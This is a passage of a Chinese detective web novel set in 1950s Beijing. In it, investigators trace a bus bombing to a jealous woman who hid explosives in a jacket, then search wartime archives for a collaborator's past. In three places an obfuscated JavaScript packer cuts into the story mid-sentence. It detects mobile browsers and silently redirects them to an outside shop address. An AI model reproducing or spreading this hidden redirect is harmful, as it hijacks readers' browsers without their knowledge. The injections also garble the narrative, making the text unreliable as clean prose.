她和齐云松分开调查这几位女性的情况，最后找到一个人，“薛秧，女二十六岁，市文工团台柱子，父亲是某军师部参谋，跟程昱是一个大院的。”在几个女性调查资料中，她选择了薛秧。 齐云松是从几位女同志周围亲戚朋友那里，了解的情况。他一听姓名，就将这人的一些事情说了出来。 “薛秧二十三岁的时候跟程昱通过父母认识的，薛秧对程昱一见钟情，但是当时程昱还怀念以前的女朋友，所以对她进行了回绝，之后薛秧对他产生了猛烈的追求，只是程昱曾经说过，她长得太漂亮了，还在文工团工作，看起来并不是顾家的人，不适合他。”齐云松介绍到这里忍不住看了顾昭蕙一眼。 顾昭蕙正听着听他停顿下来，抬头看过去，“你瞅啥？” 齐云松笑了笑“当初程昱跟你见面，之后就没了下文，不会也觉着你长得太漂亮所以不适合做老婆吧。” 顾昭蕙翻了个白眼“接着说。拐那去了。” 齐云松忍不住哈哈笑了几声，“不过随着程昱当上团长，薛秧对他更加痴心，听说有一次听说 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“但是如果从程昱这边入手，程昱身边的人，或许能做到这一点，所以你去调查这些人情况的时候，我也从另外一个角度，就是凶手如果达到这样的条件，需要怎么样的能力，然后就找到这个人。”她是从副局长那里拿到的权限，得到了这几位女性嫌疑人家庭背景调查，虽然只是最基本的。 齐云松点点头，拿资料上写着薛刚，薛秧的父亲，曾经是卧底军统的人员，在潜伏期间传递出许多重要情报，直到四六年身份暴露，撤了出来。 这份资料虽然只是简单几句，但是里面内容十分重要。 “可是这资料太简单的。咱们想要细致检查就有点难了。” 顾昭蕙摇了摇头“先查查薛秧，那个携带□□的人，我们还没有查清身份，或许从薛秧身边查一查，看看有没有失踪人员，另外就是薛刚或许并不知情。” 齐云松同意她这观点，但是他又有点疑惑的说“如果是薛秧策划的这一切，那么她就为了一个男人？这理由太荒唐了。” “谁知道呢。” 案子调查到这里，顾昭蕙也觉着有点荒诞，当案件往这个方向查的时候，顾昭蕙也怀疑自己，是不是太过相信刘喜贵的口供，假设一切跟徐乔艺没有关系，那人并不是跟踪徐乔艺，或许他们的大方向上就错了，那么做出来的这些调查，根本就是浪费时间。 另外就是她也怀疑，难道真的有女人为了一个男人疯狂到想要杀死情敌，用这样的方式。她也有点怀疑自己的调查方向是不是错了。 80. 第 80 章 第八十章 顾昭蕙怀疑自己的调查方向是不是错了，但是随着调查的进行她发现有些事情你觉着荒诞，但是可能真是发生的。 最先带来消息的还是齐云松，这人调查很有一套，手上也有一些人，虽然顾昭蕙从来没有细问过，但是他确实有一张关系网，在这个没有监控没有电脑的年代起到了很大的作用。 这个消息还是非常重要的，薛秧有一个青梅竹马，从小的时候就是她的小跟班，不过在四六年的时候他父母在轰炸中死亡，他就搬去姑姑家了，这人叫秦辉。 调查发现秦辉周围的人已经几天没有见到他了，不过这人是个小混混，平常也经常不在所以没有谁在意，如果不是查到他身上，可能都不会有人在意。 调查秦辉过往，发现秦辉的姑姑在他被收养没多久后也去世了，秦辉就开始一个人生活，日子很不好过，那时候京城本来就不好生活，薛秧父母因为工作关系也没带孩子在身边，薛秧也跟着叔叔在这边生活，秦辉身边的人不知道他们两个什么时候又遇到了，他们就知道秦辉有个喜欢的女人。 他们不清楚具体的事情，但是听说秦辉为那个女人做了许多事情。 从薛秧这边调查，薛秧的一个女朋友，了解也不多，就是知道一个男的喜欢薛秧很久了，薛秧很多事情都是这个男的做的，“不过最近薛秧有点烦，那个男的一直追求薛秧，薛秧就想摆脱他，那个男人好像知道薛秧很多事情。她有点烦。” “有一次我们单位一女同事得罪了薛秧，本来薛秧在单位的评比让那个女同事得了，后来没几天那个女同志就被人欺负了，虽然人没啥事，流言蜚语的，那女同志就没有上班了，那时候有人说这是薛秧的抱负，因为没有证据，派出所也没查出来。” 秦辉的失踪让他们对案件有了一些新的猜测，可惜这年底没有DNA检测，也没有血液对比，顾昭蕙去了一趟秦辉家里，获得了几枚指纹。 在车厢里他们得到了一些肢体残骸，其中有手掌手指，顾昭蕙一根一根去比对，因为指纹提取还不是特别清晰，残骸也不是那么的完整，更何况他们根本不清楚这些手指到底是谁的。 现在市局能做到对比的也只有顾昭蕙了，她先是将指纹特点记下来，然后在大脑里比对，这需要非常多的经历，用了整整一天时间，她才将这些质问比对清楚，好在结果是很好的，其中一根小指，跟秦辉家里的指纹对比成功，那么多手指，只有这个对比成功，但是已经可以确定了，秦辉就是那个携带爆炸的人。 这一认定让整个调查组都兴奋起来，而薛秧就成为第一嫌疑人。 不过想要查薛秧就跳不过她的父亲，薛刚，因为薛秧如果是幕后指使，那么她的炸弹来源还有制作源头可能跟她父亲有关系。 案件到了这里已经有些明了，顾昭蕙将事情报给范伟强，然后汇报给高层。局长曾经与薛刚共事过，“我了解薛刚，这件事情他应该是不知情的，对于他这样的革命同志，是绝对不会做出这样的事情。我的建议是直接与他谈一下这个案子，或许事情会容易的多。，你要相信我们的同志。” 之后范伟强带着顾昭蕙齐云松直接见到了薛刚，将关于他女儿的怀疑做了报告，薛刚确实是个很坚定的同志，当听说自己女儿可能策划了一场这么大的爆炸案后，十分震惊，不过他并没有说什么反驳的话，而是仔细的听顾昭蕙将调查来的线索一一说出，最后他沉默了很久。 “秧秧小时候我和她妈妈没有在她身边，他一直在我弟弟那里生活，我弟弟没有孩子，对她有些娇惯，我和她妈妈也觉着错失孩子的生长对她产生愧疚，所以对她十分容忍。我知道她有些坏脾气，性格有些偏执，但是我觉着孩子本质是没有问题的。她在我和她妈妈跟前是很乖巧的。” 薛刚眼圈红了，这个男人曾经被五颗子弹射中，都没有倒下，这会看着却是有些萎靡了“我曾经在特训班学习过，当时进入特训班就是为了打入他们内部，后来我因为暴露我撤回来了，那时候我珍惜跟家人在一起的时光，秧秧学习成绩一般，但是她对炸弹的组装感兴趣。当时还是战争期间，我觉着或许有一天秧秧也会穿上军装。就交给她一些东西。” 薛刚拿起那张手表零件的照片，摩挲了一下“这块表是当年潜伏的时候我的搭档送给我的，我们两个假扮夫妻，我们之间只是革命友谊，她有个爱人，也在潜伏，只是两个人不能相见不能相认。在那个困难的时候，我们相互扶持，后来因为叛徒的背叛，我们暴露了，她为了掩护我引爆了炸弹。” 薛刚将照片放下来，“我妻子知道我们之间的事情，她觉着我们假扮夫妻，或许有着不一般的感情，我不想解释这个事情，因为这是对我们友谊的亵渎，也是对同志的不尊重，我也不想和妻子因为这些争吵，她也曾经为了我担惊受怕。所以这块手表，被我锁在写字台里。” “薛秧性格跟他母亲有些像，对自己的东西占有欲特别强。只不过薛秧更偏执些。”薛刚知道今天他说出的话，对女儿意味着什么，可是他也不能包庇，不是为了自己而是为了那一车人。 有了薛刚的证言，基本上已经确定了薛秧的嫌疑，顾昭蕙带人将薛秧带了回来，她平常虽然经常回家，但是她在单位也分到了一间房子，在她自己的房子里，发现了一些制造炸弹的工具，除此之外还发现了一块布料，这块布料跟现场发现的一片衣服碎片相同。 薛秧被带到审讯室的时候还不当一回事，还叫嚣着自己父亲的名字，还说道自己的叔叔，那些能给她当后台的人。 可惜这件事情是无法压下来的，当得知自己父亲证明了那块手表就是他的，还有在她家里搜出来的东西，将那些现场拍下来的照片放在她面前的时候，她崩溃了。 “都是那个蠢货，谁让他去追踪人的。谁让他上那辆车的。” 她喊得有点歇斯底里，从她的话语里他们还原了事情的经过。也知道事情的真相，结果也让人唏嘘。 薛秧跟父亲学过炸弹安装，或许当年薛刚教女的的时候，是想过送女儿去战场，他希望女儿也能继承他们的事业，继续战斗下去，没有想到有一天他的女儿弄这些炸弹是为了杀人。 她想杀的人是秦辉，那些固体炸药，是早些时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306535|130848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她母亲弄到的，那时候他母亲也是暗中给后边潜伏人员送物资的，当年她也是薛刚的下线，负责接受情报，给他做配合送物资，也正因为如此她了解薛刚和那个女人之间的关系，尽管她清楚两个人只是做戏，但是看到两个人如同普通夫妻那样生活，她就很嫉妒，心理不舒服。 薛刚当初弄到一批固体炸弹，威力十分的大，这种固体炸弹，小巧方便，威力大，他弄到后就将东西交给自己的妻子，要送出去，希望用这些东西多杀敌人。 薛刚妻子将这批固体炸药，截留了一部分，关于这一点，后来顾昭蕙也问过，对方并没有说自己这样做的缘由。这批炸药一直放在地下室里，不想被薛秧发现。 秦辉喜欢薛秧，一直跟在薛秧身后百依百顺的，秦辉在人生最困难的时候，是薛秧给他粮食给她钱让他活了下来，所以秦辉对薛秧几乎有求必应，只要薛秧讨厌的，都是他的敌人，他给薛秧做了一些事情，薛秧对他没有意思，随着年龄的增长，秦辉在外边混了一段时间，他对薛秧就有了更多的非分之想，曾经也说他给她做了那么多事情，她对他竟然没有一点回报也没有。 薛秧喜欢程昱，自然不想跟秦辉有太多瓜葛，怕秦辉将那些事情说出去，就想除掉他。 前段时间，薛秧发现了那些固体炸弹，想到了一个办法，将固体炸弹缝在一个夹袄里，让秦辉穿着带回家，说是那里是她藏的东西，过些日子有个事情，做完了，就带秦辉回家见父母。 秦辉问过是什么东西，薛秧只说是秘密，秦辉就没再问，他满脑子都是回家见父母的事情。实际上薛秧计算的，秦辉应该是到家后，炸弹才会爆炸。 没想到秦辉在街上见到了徐乔艺，秦辉不知道徐乔艺是程昱的对象，但是他听薛秧说过讨厌徐乔艺，他看只有徐乔艺一人出门，就像找机会对徐乔艺下手，算是给薛秧出口气，从小到大这样的事情做多了。只是他也没有想到因为这个跟踪，使得炸弹在客车上爆炸，害死了那么多人。 看到口供后，顾昭蕙只觉着这个案子有些荒谬。 薛刚交给女儿技能，是让女儿将来上战场时拥有更多的保命手段，但是他没想到战争结束了，他的女儿再也不需要去战场了。 薛母截留炸药，或许是为了自己隐秘的心思，她最后也没有说那些炸药准备做什么，事实上她只是截留，她对于这些炸药的用法都不清楚。但是这却成为案件的关键点。 秦辉给薛秧办事已经成习惯了，所有薛秧不喜欢的都是他的敌人，因为这个那么多无辜的生命瞬间消逝。 薛秧计划的很好，秦辉甚至没有深究就穿上了那个棉背心，对她那么信任，她算过时间，爆炸的时候就是秦辉到家之后，她跟秦辉说过不要拆开看，等过几天用的时候就会告诉他里面是什么。总之是很重要的东西，她相信秦辉不会拆开。他们两个人互相信任着。 为了这个计划她头一天晚上找了两个朋友在家里玩扑克，秦辉一宿没睡，走之前已经说了要回家睡觉，所以她相信自己的计划，秦辉家里爆炸，到时候没有人会怀疑她。 可惜计划没有变化快。 81. 第 81 章 第八十一章 顾昭蕙有些疲惫的回到家，家里人都去上班了，她昨天又熬了一个通宵，薛秧昨天晚上交代的，为了将整个案件的细节都弄清楚，他们趁热打铁，半夜才拿到全部口供，之后还有薛母的口供。她的问题也不小，等一切弄好，已经到了早上了。 从爆炸那天算起，已经过去七天了，这几天大家都是连轴转，顾昭蕙和齐云松几乎是住在办公室的，别人还能轮着休息一下，他们一直等着下边调查反馈过来，看到资料分析，然后进行下一步。 这个案子也让人很不舒服，想到公交上死去的那些人，心理很是沉重。 简单洗漱了一下躺在床上，大脑放空，不去想事情，只是这几日过于活跃的大脑让她感觉胀胀的，她知道这是用脑过度了。之前她看过医生，医生的建议是吃一些补脑的东西，尽可能减少用脑，放松休息，不然时间长了可能会引发头痛，坐下病就不好治疗了。 只是遇到案子她根本无法停止思考，只有快些抓到凶手才能制止凶手继续伤人。 在家休息两天顾昭蕙感觉自己状态好了许多，本来还有一天休假，在家没什么事，就去了单位，进了办公室发现只有白蓉在，“白姐，他们人呢？”他们是轮着休息的，所以这会应该有几个人上班的。 “周哥和吴非去调查黑市火药案了。张哥和小齐休息，对了上边给咱们组增加几个人，都是从部队上退下来的，听说身手都不错的。李想去接了。”白蓉回答完她的问题又问她“你怎么过来了。大队长说这几天要是没案子让你多休两天。” 顾昭蕙拿着水杯捏了点茶叶让后去前边倒热水，“在家待两天也没啥事，就是缺觉，睡了两天人都快睡傻了。”笑了笑“火药案调查的怎么样了？有什么进展吗？” 白蓉摇了摇头“源头一条线都抓起来了，因为这个听说还要搞个大清查，估计这样的事肯定不是一起。周哥他们调查那个买炸药的，还没有结果，方槐那边一直没吐口。” 顾昭蕙点点头，这个案子他们是有所怀疑的，看行事作风应该是潜藏的特务做的，其实这个案子不光他们查，就是三处也派出了人去调查，毕竟那么些炸药足够将一个大楼炸塌了，必须小心对待。 喝了几口热茶脑门都出了点薄汗，人好像都通透了，她干脆靠在椅子上，拿出方槐的资料看了起来。 他们将力量集中在爆炸案那里，方槐杀人案是由王明和张燕山两人跟进的，他们又增加了一些调查结果。 “哎，你也过来了？”突然一个声音响起，她抬头看去，就看齐云松穿着一身便服上身竟然是一件黑色皮夹克，衣服有点大，这几天可能熬夜熬的人精瘦精瘦的，手上拿着个牛皮纸袋，里边是一个咬了一口的大包子。 “这是早饭？”顾昭蕙挑了一下眉头笑着问。 “嗯，在家没事，过来溜达溜达。顺道买个早饭。来一个大肉包。” 顾昭蕙摇了摇头“今天早上我吃的也是包子。” 齐云松对着白蓉说“白姐来一个？” 白蓉笑了摆摆手“不用，你吃吧，就那几个包子还不够你自己吃的呢。”也是熟悉了，都知道齐云松饭量大。亏着他一个人吃饱全家不饿的。 齐云松笑了笑，直接半坐在顾昭蕙对面的办公桌上，看着她说“我还说呢，晚上去家里吃饭去。”齐云松说道。 顾昭蕙眼睛没离开那些资料，头也没抬的说“去呗，昨天爸休班，去什刹海钓了一条快两斤的草鱼，养在大缸里，他正想找人显摆呢，今天晚上咱们给吃了。”说完自己忍不住笑了，蒋志忠爱好挺多的，钓鱼是其中一项，可惜一直没有钓到过大鱼，昨个钓了一条，好家伙，要不是拎着鱼去院子后边有点怪怪的，他都能在院子里溜达几圈，就着还不舍得吃，放到院里的大缸里，说是要观赏几天，就一条草鱼黑黢黢的，有啥好观赏的。 齐云松眼睛一亮，“难得啊。” 虽然两个人跟蒋家父母都没有血缘关系，但是感情不是假的，顾昭蕙两个灵魂结合，她继承了这个年代顾昭蕙的感情，所以将顾家人当做亲人，那么对于另一半顾湘的灵魂来说蒋家父母才是她在这个世界的牵绊。感情都是一点点相处得来的。 齐云松就更加简单了，他们把当成自己的孩子，而他也将两人当成自己的父母。 所以当越来越熟悉后两人说起来倒像是一家人一样。只不过在某人心里这个一家人还是希望能换一种方式。 “这个方槐看资料真的看不出来什么。不过关于这个给伪政府做事这件事情。”齐云松将几个大包子吃完，就跟顾昭蕙讨论起这个案子。 “他在伪政府工作一年，然后离开，这里他当时的资料是说不想给小本子做事，但是你看他是在38年就在哪里工作，我记得当时还属于初建状态，如果他不想给小本子做事，那么一开始不去做就行了。为什么等到一年后才离开。他做的事情是管理财物，开始也只是一个助理职位，根本不是很重要。”齐云松前天过来一次，也看过这个资料对此就有些疑惑。 顾昭蕙点点头，“你说的这个也是我觉着有些奇怪的地方。确实有点不合理。而且你看，他当时只有二十岁，但是只用了一年时间就成了财务科的科长，这个晋升也有点快了。” 齐云松点点头，“这里边肯定有问题。” “这方面的资料要在那里查？” 齐云松想了想，“三处那边档案室应该能查到。” 顾昭蕙看向他“那里能进吗？” 齐云松耸耸肩，“你肯定没问题啊。”他们处长巴不得把人给拐过去呢，都后悔死了。 “我打个电话。”说完就去前边打了个电话。听称呼是直接找的处长。 “走吧。”齐云松将皮夹克拿起来，穿在身上。 三处虽然也属于市局，但是因为他们工作性质，实际上是有个单独的办公区域，这里是以前老警察军的办公区，与顾昭蕙他们的办公区，相隔一条巷子，房子是那种老房子的样式，一进院子东西两排厢房十来间，正房是那种九间的歇山顶二层楼。 齐云松带着人没有进楼，直接从楼的右侧绕过去，后边二进院是狭长的没有东西厢房，两层的罩楼，在东西墙能看到通向两边跨院的门。 “这边就是通向市局后院羁押室，是连着的。”齐云松指了指东边的那道门说。 齐云松带着顾昭蕙去了西边跨院，西跨院门口有个门房，大门也紧闭着，齐云松敲了敲门房对着这边的窗户敲了一下，窗户门口出现一张很普通的中年人的脸，“不是说去刑侦那边了？怎么有空过来？” 齐云松从兜里掏出半盒烟递过去“李哥你当班啊，过来查点东西，处长同意了的，你打个电话。” 那个叫李哥的接过烟，放在一边，“下回拿条子。”说完拿起电话给办公室那边打了过去，没一会挂了电话，拿个本子“登记。” 齐云松接过本子，在上边签了字，然后递给顾昭蕙，顾昭蕙也将自己工作单位名字什么的写上。 这边窗户关上，一会小门打开，两个人进去，那个李哥拿了钥匙，屋子里还有另外一位岁数更小一点的，不过这人只有一只眼睛也一只手，那仅剩的一只眼睛看这人有点渗人。 “哎，王哥。”齐云松对那个人打着招呼，随手从兜里掏出几个奶糖“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13318259|130848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给你家小丫吃。” “那小丫头都被你们给惯坏了，前个牙掉了哭的。”那人说话倒是有种憨憨的感觉。 齐云松给顾昭蕙介绍，“这是李哥和王哥，这边他们俩值班的时候多，要是再查什么资料，就直接过来，他们给处长打电话，应该没有问题的。”跟顾昭蕙说完，又看向两人“这是咱们刑侦的顾组长，以后可能还麻烦两位。” 李哥摇了摇头“我们这也没啥照顾的，都是按照规章办事，她要过来，只要处长同意了，就行。”李哥说着站起身，顾昭蕙发现他的腿有点一瘸一瘸的。 “你们要找那部分资料？”李哥问道。 “当年伪政府的资料。”齐云松说道。 “那可有点多，也杂乱。”三个人通过另外一道门，进了内院，顾昭蕙就看到院子里有四条大狼狗，在院子里溜达，看到他们十分警惕的看着他们。 “这是咱们三处的四大金刚，要是没有李哥和王哥两个人带着谁来都不行。”齐云松介绍道。 顾昭蕙也没有太害怕，这四条狗虽然对她虎视眈眈，但是应该是训练的挺好的，并没有做出攻击行为。 这个院子不大，是个小小的四合院，不过四面都有屋。 李哥拿着钥匙打开了一间房门，“关于伪政府的资料就在这里，就看你们自己找了。这边资料不能拿出去，那边有纸张和铅笔，可以自己抄录。” 李哥说着就往外走，不过走到半道回过头“用给你们带饭吗？” 齐云松带点点头“麻烦李哥了。让老王记帐。我在食堂还有个饭盆他知道在哪。” 李哥点点头，就离开了。 “你在这边人员还不错啊。”顾昭蕙笑着说道。 “呵呵，当年咱们局刚进城的时候我就过来了，都是老人，早就熟悉了。” 两个人进了屋子，这边屋子是三间屋子，但是除了堂屋有一张桌子，其它地方都放了档案柜，一排排的柜子，中间只有大概不到七十公分的过道。其他全是资料。 资料都是按照年份排列的，他们找到三七年三八年的档案，要从一开始查起。 不过当顾昭蕙抽出资料之后，就有点头大了，这里虽然按照年份排列的，但是档案袋里的内容却没有经过整理。 “当年有许多资料都被销毁了，这些还是南边政府接管后整理的，但是他们也只是大略整理后就堆放在库房。咱们这边将东西弄过来后，只是按照年代分类后，就放在这里，毕竟除了研究历史的那些教授，还真没谁对着些东西感兴趣。”齐云松一边挑资料一边说到。 但是顾昭蕙看着乱糟糟的东西，就觉着手上有点蠢蠢欲动，不整理不舒服啊。 “找到了，这是一开始人员名单。”齐云松递给顾昭蕙“亏着这些东西不是重要的情报，当初这些资料都没有被烧掉，这个整理这么清楚，估计也是当年查找汉奸的时候用了一下，后来束之高阁。” 顾昭蕙接过来，扫了一眼，竟然是工资单，按照职位排列的，确实是人员名单，很全，她没有找到林槐，往后翻，直到三八年看到了林槐的名字，是个低层职员，这一整个档案袋都是工资单，很厚的一沓子，“他是三八年五月加入临时政府的，当时也属于草创时期，看之前发工资的情况看，之前几个月人员变动很大。”顾昭蕙一直往后翻。 “四零年一月份离开的。”然后顾昭蕙将抽出来的两页放在桌子上点了点“这里你看看看，他在三九年七月份，突然从一个普通职员被提拔成财务科科长。这个职位提升有点奇怪了。” 齐云松也翻看了一下，“要不就是立了大功，要不就是找到靠山了。” 82. 第 82 章 第八十二章 “先吃饭吧。”齐云松将桌子收拾了一下然后将老李送来的饭菜端了上来，“今天食堂有炖肘子。” 顾昭蕙放下手上的文件，忍不住抻了一下腰，老李用小盆子给他们打来了菜，肘子应该是用大锅红烧的，然后切成一片片的，里边加上白菜土豆，就是一锅特别好的肉菜了，尽管里边白菜土豆更多一些。 主食是二合面的馒头，不过里边不是加了玉米面，而是用荞麦和白面做的，虽然吃着有点粗糙但是因为里边加了荞面，馒头有点实诚很容易饱腹。 顾昭蕙去外边水池洗了手，然后回来拿起馒头吃了起来，菜的味道也好“今天食堂怎么弄这么好的伙食。” “轧钢厂和公交公司感谢咱们把爆炸案给破了。送了十个大肘子。局里说是也不好分配，直接让食堂分配了。去食堂打饭那边听说给咱们带的，直接多给打了一勺子肘子肉。” 顾昭蕙笑了笑，“他们两家，福利都挺好的。” 俩人吃了饭，继续看资料，这些资料太杂了，想要从里边找到有用的信息很难。好在顾昭蕙的脑子好使，她现在几乎成了扫描仪了，用眼睛一页一页的翻看资料，然后大脑在脑海中整理。 齐云松发现她的这种观看办法，虽然觉着稀奇，却也觉着正常，如果没有点特别能力，怎么可能知道那么多。 问了顾昭蕙她的能力能达到什么程度，弄清楚之后，齐云松开始给她选择资料，他也不去看资料具体内容，只是大概翻看一下，弄清里边写的是哪一类的资料，是不是有用，完全没用的就放在一边，有用的留下。 这样效率高多了，开始顾昭蕙还寻找关于林槐有关的东西，但是顾昭蕙发现，单纯的查一个人有点难，因为林槐是财务科的人员，这里边跟他有关的几乎都是在财务报表上，或是一些跟财务有关系的文件上签的名字。 他参与什么事情，并没有更确切的记载。不过在一些资料里会有一些事件记录，这些事情或是伪政府当时下发的文件，当时的政策，还有那几年发生的事情。这里边都有记载。 所以顾昭蕙跟齐云松说了一下，干脆将几年伪政府的一些资料全都看一遍，或许能从这里边看出一些事情，将一条条线索归纳起来，寻找蛛丝马迹。 大约过了一个多小时，齐云松看顾昭蕙皱着眉头，翻看文件的速度慢了一点，想了想，出去过一会回来递给顾昭蕙一个大茶缸子。 “喝点水吧。我去食堂那边弄了点糖。缓一缓，这么多信息太多了。”齐云松说道，想想也知道这么多的东西几乎是强塞到脑子里，太费力了。 顾昭蕙揉了揉太阳穴，确实有点费脑，她端起茶缸子喝水果然很甜，糖水入腹，暖和和的，确实很舒服。 喝了水之后她仰着脑袋，闭上眼睛，脑海中许多信息一点点闪过，接着大脑似乎突然创建了一个文件夹，打开后里边就是按照时间进行排列的一份份文件。 这时候文件中突然出现几份文字。 顾昭蕙一下子坐直，眼睛睁开，看着桌子略微有些凌乱，伸手将上面文件一份份的捡起来，这些文件每一份都非常熟悉了，她直接按照自己的分类方法，将文件按照时间，科室类别进行分类。手上几乎没有停顿。一会功夫这些文件就整理好一份份的摆放着，但是有几份文件摆放在齐云松面前。 “你看看这几份文件。”她说着将其中一份文件打开，“39年五月份，这里说的是一位叫小池澈平的小本子商人，要来北平，让伪政府的官员举行迎接宴。” 这份文件之后，她又拿起另一份“这份是关于迎接宴的安排计划，这个报告还有后边的财政支出，签字的就是林槐，当时他是科长助理。” 齐云松看了看不知道她说的是什么意思。 “这是当时财务支出，你看这几条支出与这个对上了，也就是说当时林槐是当时晚宴策划人员，你看这后边很多财务报销文件。”顾昭蕙拿着的是一个本子，当时政府虽然混乱，但是他们财务制度还是很完善的，至少报销什么的都有记录。 齐云松看着这些都有点懵，谁能想到这么多年后，查找线索能在这种文件中调查。 顾昭蕙拿着纸笔将里边一条条的信息记录下来，一边写一边说道“你看这里，这里，这些都是林槐报销的，就在五月六月，这两个月，他就因为接待报销了十六次，然后还有购买物品报销了上千元大洋。这在当时是很有购买力的。” 顾昭蕙指着六月下旬最大的一笔支出，直接支出两千大洋，“然后这边过了半个月，有个车票报销。”点了点上边时间“之后他就成了林槐。” 齐云松也一笔笔的比对上边报销单“林槐当时因为接待小池撤平，得到了小池澈平的好感，然后被派去陪着这位小池澈平，这些花销都是跟小池澈平期间的花销，所以很多都是大笔报销。”他也看到有些报销单，上面记录了，出入各种场所的花销。 顾昭蕙点点头，然后又将其中几笔报销单点出来，“你看这几份是古董买卖。上边还记载了一些古董名称。”顾昭蕙又抽出一张纸。 这上面是一位叫小池仁二的军官资料，这个军官当时正是华北小本子常备师团团长的的一个学生。“但是小池仁二一直在北平活动动，而小池仁二和小池撤平，两个人的名字十分相近，虽然还没有证据，但是我怀疑两个人有什么关系，所以当时伪政府人员才会下大力巴结。” 齐云松点点头，虽然资料不全，但是可以合理猜测。 “这个林槐，能在小池澈平离开后迅速升值，应该是他的招待让小池澈平很满意，或者他给了他足够的利益。” 顾昭蕙说着，“你在看这边。就在林槐离开伪政府前，你看这边又是几笔支出，跟这边是不是类似，或许这个小池澈平又来到这边。而且你看这里有几笔古董买卖记录。” “那他为什么会离开。而且之后一直老实的待着。” 顾昭蕙揉了揉脑袋，“我也不太清楚。这边有没有关于当时小本子人的记录。想要知道有什么问题，得查一查小池澈平到底是干什么的？” 齐云松皱着眉头想了想，突然想起来什么“我想起来了，或许有个人知道这个小池澈平。” 顾昭蕙看着他“是谁？” “等等我得去问问。”齐云松说着对顾昭蕙说“你先歇会，我去找人。” 顾昭蕙看他离开，也没休息，将桌子上这些资料都抄录下来，然后将文件放好，看了下时间，已经下午三点了，齐云松走了有一个小时，还没回来，她干脆看着其它资料。 一直四点多钟，齐云松回来了，还带回来一个头发花白的六十多岁的男人。 “来我给你介绍一下，这是吴伯，当年也是隐秘战线上的，他当年就是在伪政府工作。吴伯这就是我跟你说的顾昭蕙，现在刑侦大队三组组长。” “我知道志忠没少跟我夸你。”吴伯是个很和蔼的老头，说起话一脸笑意。 “哎，吴伯跟我爸认识？”齐云松也没想到。 吴伯看了齐云松一眼，“我们怎么不认识，当年他还帮我送过密报呢。只不过他很快就离开了。”实际上当年很多在北平这边的地下工作人员都转为公安了。 既然是这样的关系，事情就好办多了，顾昭蕙将她总结出来的东西交给吴伯看。 吴伯听见她从这些报表中看出来的东西，很是惊诧，“没想到你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13338019|130848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能看出这么多东西。” 他说着看着那些数据，然后回想当年，已经过去快二十年了，不过他还是能记得很多东西，又怎么能忘记呢，“虽然我是后来去伪政府任职的，但是为了后面隐藏需要，我们也做了许多调查，这个小池澈平，我还有印象的，不过对他的印象最深的是，他当时被杀了，因为死的特别惨，那时候轰动一时。” 顾昭蕙听到这里突然神情一动“他死亡时间在什么时候？” 吴伯想了想“四零年元旦那天，我印象很深刻，当时我刚进入伪政府，参加元旦晚会，然后突然一队宪兵跑了进来，然后当时一起参加晚会的几个小本子人，就全都走了，第二天才知道当时特别有名的小池仁二的哥哥死了，被人杀死在自己家里，浑身五十四处刀伤，发现的时候除了脑袋，几乎看不到完整的地方。当时的案子十分轰动。” 顾昭蕙脑海中突然出现一个案件卷宗，她记起来了，之前她在市局那边整理档案，就曾经看到过这个案子，但是当时并没有说案子受害者名字，也没有说更多的，档案里只是记载了当时死者的情况，案件中记载了当时那间屋子是个卧室，那是个别墅，当时屋子里还有七八个人在楼下，但是在凶手行凶的时候竟然没有人发现。 “那个案子在当年是很轰动的，开始由宪兵队去调查，不过几天没有什么进展，这个案子就交给当时北平警察局，那时候北平警察局有一位神探，叫郑可庆，不过郑可庆也不知道是不想给小本子办事，还是真没查出来，半个月都没什么进展，就把案子搁置了。”吴伯回想当年的事情，说到这里摇了摇头“这个小池澈平表面上是一个商人，但实际上他一直给他弟弟收集一些古董，当时有人说这个小池澈平为了弄到咱们的国宝，还给人全家都杀害了。” 吴伯说着摇了摇头“这件事情我是不知道真假的。那时候谣言很多，还有说小池澈平，有个秘密仓库，里边放着他搜刮来的东西，但是没有人知道这个秘密仓库在那里。说起来因为他那时候北平很是乱了一阵。” 吴伯当年也是刚进入伪政府内部潜伏，接触的东西还不多，所以这些信息都是他听到的小道消息，这些消息本身就不是特别的准确。 顾昭蕙倒是从里边发现了许多信息。送走吴伯后，带着齐云松直接去档案室。 档案室还是顾昭蕙熟悉的样子，里边几个四九年前的档案，还放在那里落灰根本没有人动过。 顾昭蕙走过去，很熟练地就找到两份文件，其中一份就是那个没有受害者姓名的杀人案。“这个应该就是吴伯说的小池澈平死亡案件。” 齐云松打开看了一下，这里竟然还有照片，是死亡现场的照片，里边案子记录非常详细，但是破案过程什么几乎没有。 “跟吴伯说的十分相似。” 顾昭蕙将另外一份文件打开，看了几眼，递给齐云松“你再看看这个。” 齐云松仔细翻看，但是很快脸色就变了，“这帮畜生。” 